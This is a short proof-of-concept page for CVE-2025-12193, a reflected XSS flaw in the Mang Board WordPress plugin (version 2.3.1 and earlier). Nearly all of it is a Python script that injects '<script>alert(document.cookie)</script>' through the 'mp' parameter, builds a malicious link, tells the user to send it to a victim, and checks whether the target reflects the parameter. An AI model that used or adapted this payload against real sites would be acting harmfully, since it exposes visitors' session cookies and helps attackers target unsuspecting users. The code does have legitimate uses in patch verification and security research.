CVE-2025-12193 Mang Board WP插件反射型XSS漏洞

import requests from urllib.parse import quote # CVE-2025-12193 PoC - Reflected XSS in Mang Board WP plugin # Target: WordPress site with Mang Board plugin <= 2.3.1 # Parameter: mp target_url = input("Enter target URL (e.g., http://example.com): ").rstrip('/') # Malicious JavaScript payload for XSS xss_payload = "<script>alert(document.cookie)</script>" encoded_payload = quote(xss_payload) # Construct the malicious URL with the vulnerable 'mp' parameter malicious_url = f"{target_url}/?mp={encoded_payload}" print(f"[*] Target: {target_url}") print(f"[*] Malicious URL: {malicious_url}") print(f"[*] Payload: {xss_payload}") print("\n[+] Send this URL to the victim to trigger the XSS") print("[+] When victim clicks the link, the JavaScript will execute in their browser") # Optional: Test if the parameter is reflected without encoding test_url = f"{target_url}/?mp=test" response = requests.get(test_url) if 'mp' in response.text and 'test' in response.text: print(f"\n[!] Parameter 'mp' is reflected in the response") print("[!] Site may be vulnerable to XSS") else: print("\n[-] Parameter 'mp' not found in response or properly encoded")